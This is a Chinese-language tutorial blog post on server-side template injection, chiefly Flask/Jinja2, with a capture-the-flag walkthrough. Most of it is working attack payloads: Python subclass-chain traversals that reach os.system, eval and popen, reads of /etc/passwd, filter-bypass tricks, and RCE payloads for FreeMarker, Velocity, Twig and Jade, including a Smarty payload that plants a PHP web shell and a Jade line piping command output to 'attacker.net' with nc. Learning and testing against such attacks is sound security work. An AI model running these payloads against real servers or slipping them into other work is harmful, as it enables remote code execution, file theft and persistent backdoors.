從零開始的ssti學習(已填)


前前言:

本文只是接這個機會來梳理一下ssti的知識點。先說一下,本文目前的重點是Flask的ssti,但是之后會填其他框架的坑。(就不該叫ssti學習,ssti太廣了)

涉及知識點:

模板注入

前言:  

何為模板注入?

模板引擎可以讓(網站)程序實現界面與數據分離,業務代碼與邏輯代碼的分離,這大大提升了開發效率,良好的設計也使得代碼重用變得更加容易。

但是模板引擎也拓寬了我們的攻擊面。注入到模板中的代碼可能會引發RCE或者XSS。

如何快速判斷模板框架?

 

 

 (開局一張圖,內容全靠編(不是))

 

Flask模板注入(重點)

目錄:

(1)幾種常用於ssti的魔術方法

(2)獲取基類的幾種方法

(3)獲取基本類的子類

(4)利用

(5)讀寫文件

(6)shell命令執行

(7)繞過姿勢

(8)實戰(填坑中)

(9)參考(挖坑)

(10)補充

其它模板注入payload

目錄:

 

Flask模板注入

解析:

眾所周知ssti要被{{}}包括。接下來的代碼均要包括在ssti中。

1.幾種常用於ssti的魔術方法

__class__  返回類型所屬的對象
__mro__    返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__   返回該對象所繼承的基類
// __base__和__mro__都是用來尋找基類的

__subclasses__   每個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__  類的初始化方法
__globals__  對包含函數全局變量的字典的引用
__builtins__ builtins即是引用,Python程序一旦啟動,它就會在程序員所寫的代碼沒有運行之前就已經被加載到內存中了,而對於builtins卻不用導入,它在任何模塊都直接可見,所以可以直接調用引用的模塊

 

2.獲取基類的幾種方法

[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]   //針對jinjia2/flask為[9]適用
或者
[].__class__.__bases__[0]       //其他的類似

 

3.獲取基本類的子類

>>> [].__class__.__base__.__subclasses__()

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

ssti的主要目的就是從這么多的子類中找出可以利用的類(一般是指讀寫文件的類)加以利用。

那么我們可以利用的類有哪些呢?

 

4.利用

我們可以利用的方法有<type 'file'>等。(甚至file一般是第40號)

>>> ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

 

 

可以從上面的例子中看到我們用file讀取了 /etc/passwd ,但是如果想要讀取目錄怎么辦?

那么我們可以尋找萬能的os模塊。

寫腳本遍歷。

#!/usr/bin/env python
# encoding: utf-8

num = 0
for item in ''.__class__.__mro__[2].__subclasses__(): try: if 'os' in item.__init__.__globals__: print num,item num+=1 except: print '-' num+=1

得到結果。

 

 

 直接調用就好了。可以直接調用system函數,有了shell其他的問題不就解決了嗎?

>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

 

5.讀寫文件

當然,某些情況下system函數會被過濾。這時候也可以采用os模塊的listdir函數來讀取目錄。(可以配合file來實現任意文件讀取)

>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')  #讀取本級目錄

另外在某些不得已的情況下可以使用以下方式來讀取文件。(沒見過這種情況)。

方法一:

>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #把 read() 改為 write() 就是寫文件

方法二:

存在的子模塊可以通過 .index()方式來查詢

>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40

用file模塊來查詢。

>>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

其他的方式我還不怎么會,就不多說了。之后可能會補。

 

6.shell命令執行

本人有點菜,就直接搬運大佬的方法了。

方法一:  eval函數進行命令執行

>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

方法二:  利用 warnings.catch_warnings 進行命令執行

>>> {}.__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59

查看 linecache 的位置

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25

找os模塊。

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12

查找system方法的位置(在這里使用os.open().read()可以實現一樣的效果,步驟一樣,不再復述)

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144

調用system方法。(不包含system,可以繞過過濾system的情況)

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0

方法三:利用commands進行命令執行

>>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
>>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
>>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('ls').read()

 

7.繞過姿勢

(1)繞過中括號

pop() 函數用於移除列表中的一個元素(默認最后一個元素),並且返回該元素的值。繞過姿勢:

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

在這里使用pop並不會真的移除,但卻能返回其值,取代中括號,來實現繞過。

(2)繞過引號

request.args 是flask中的一個屬性,為返回請求的參數,這里把path當作變量名,將后面的路徑傳值進來,進而繞過了引號的過濾,繞過姿勢:

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

(3)過濾雙下划線

同樣可以使用 request.args 來繞過。繞過姿勢:

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

將其中的 request.args 換成 request.values 則可以利用post方式傳參

GET:
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__

(4)過濾關鍵字

__getattribute__使用實例訪問屬性時,調用該方法

方法一:  base64編碼繞過

若 __class__ 被過濾,繞過姿勢:

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]('/etc/passwd').read()}}

方法二:  字符串拼接繞過

同是 __class__ 被過濾,繞過姿勢:

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]('/etc/passwd').read()}}
{{request.__class__}}

{{request|attr(["__cl","as","s__"]|join)}}

{{request["__cl"+"as"+"s__"]}}

以上幾種的作用是一樣的,都是字符串拼接。(參考 GYCTF FlaskApp 

 

 

 

8.實戰

 這里拿 xctf 中的 Web_python_template_injection 做例子

進入題目界面可以看到

 

 嘗試模板注入  ?{{7*7}}

 

 有回顯。嘗試模板注入。

構造payload: ?{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

讀目錄發現了fl4g。直接用file讀取。構造payload:  ?{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}

 

 拿到了flag。

本來以為沒什么,但是看到了別人的wp?

可以直接注入代碼?

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

  {% for b in c.__init__.__globals__.values() %}  

  {% if b.__class__ == {}.__class__ %}         //遍歷基類 找到eval函數

    {% if 'eval' in b.keys() %}    //找到了

      {{ b['eval']('__import__("os").popen("cat fl4g").read()') }} 

    {% endif %}

  {% endif %}

  {% endfor %}

{% endif %}

{% endfor %}

我吐了,之后研究一下吧。

 時隔半年回來填坑,之前主要是沒有做過flask的開發,只要你做一下flask的開發,這種方法你馬上就會明白。甚至在SSTI中,這還是一種可以直接使用的POC。

為什么說之前的東西沒有辦法直接用作 POC 呢?

因為你會發現,隨着 Python 的版本不同,一般來說可利用類的位置也是不同的。所以每一回都要找可利用類的位置。但是這個不需要我們自己來找,他會自己找到位置。

想了一下,貼一個找可利用類的腳本吧。(不過這個腳本好像有點問題,會默認少一,懶得改了,自己知道就行了,我就是條帶懶狗)

import sys

array = []

def find_class(line,s,c):
    if line.find(b'class') > 0:
        start = line.find(b'<class',s)
        #print(start)
        end = line.find(b'>',start)
        string = line[start+8:end-1]
        #print(string)
        array.append(string)
        if line.find(b'class',end+1) > 0:
            find_class(line,end,c)

def create_array():
    sys.setrecursionlimit(1000000)
    with open('C:/Users/Acer/Desktop/flag.txt','rb') as f:
        a = 1
        lines = f.readlines()
        for line in lines:
            #print(line)
            find_class(line,0,b'warnings.catch_warnings')
            #print(a)

def search_class(funcs,fun):
    i = 0 
    for func in funcs:
        if fun in func:
            print(i)
        else:
            i = i + 1

create_array()
search_class(array,b'warnings.catch_warnings')      #warnings.catch_warnings

 

 

0x0a  補充:

偶爾看到了合天的一篇文章,感興趣的師傅可以去看一看。

 

 我最經常使用的 format 居然是有安全漏洞的?

>>> print("{0.__class__}".format('a'))
<class 'str'>

以上代碼貼出來師傅們都懂了吧。下面的過程繼續挖坑。

 

其它各個框架的一般RCE(挖坑,先給payload,原理之后講)

FreeMarker  PHP模板

payload: 命令執行

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)

 

Velocity  Java模板

payload:命令執行

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
 
//輸出 tomcat7

 

Smarty  PHP模板

payload:創建后門

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

 

Twig  PHP模板

payload:命令執行

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
返回結果: uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)

 

Jade  Node.js模板

payload:命令執行

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

 

。。本來是回來填坑的。。怎么又挖了這么多?哭了。

9.參考文章

謝謝iGetFlag大佬的文章

感謝大佬的文章

感謝極光第一全棧選手的文章

各個服務器模板注入攻擊的文章

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM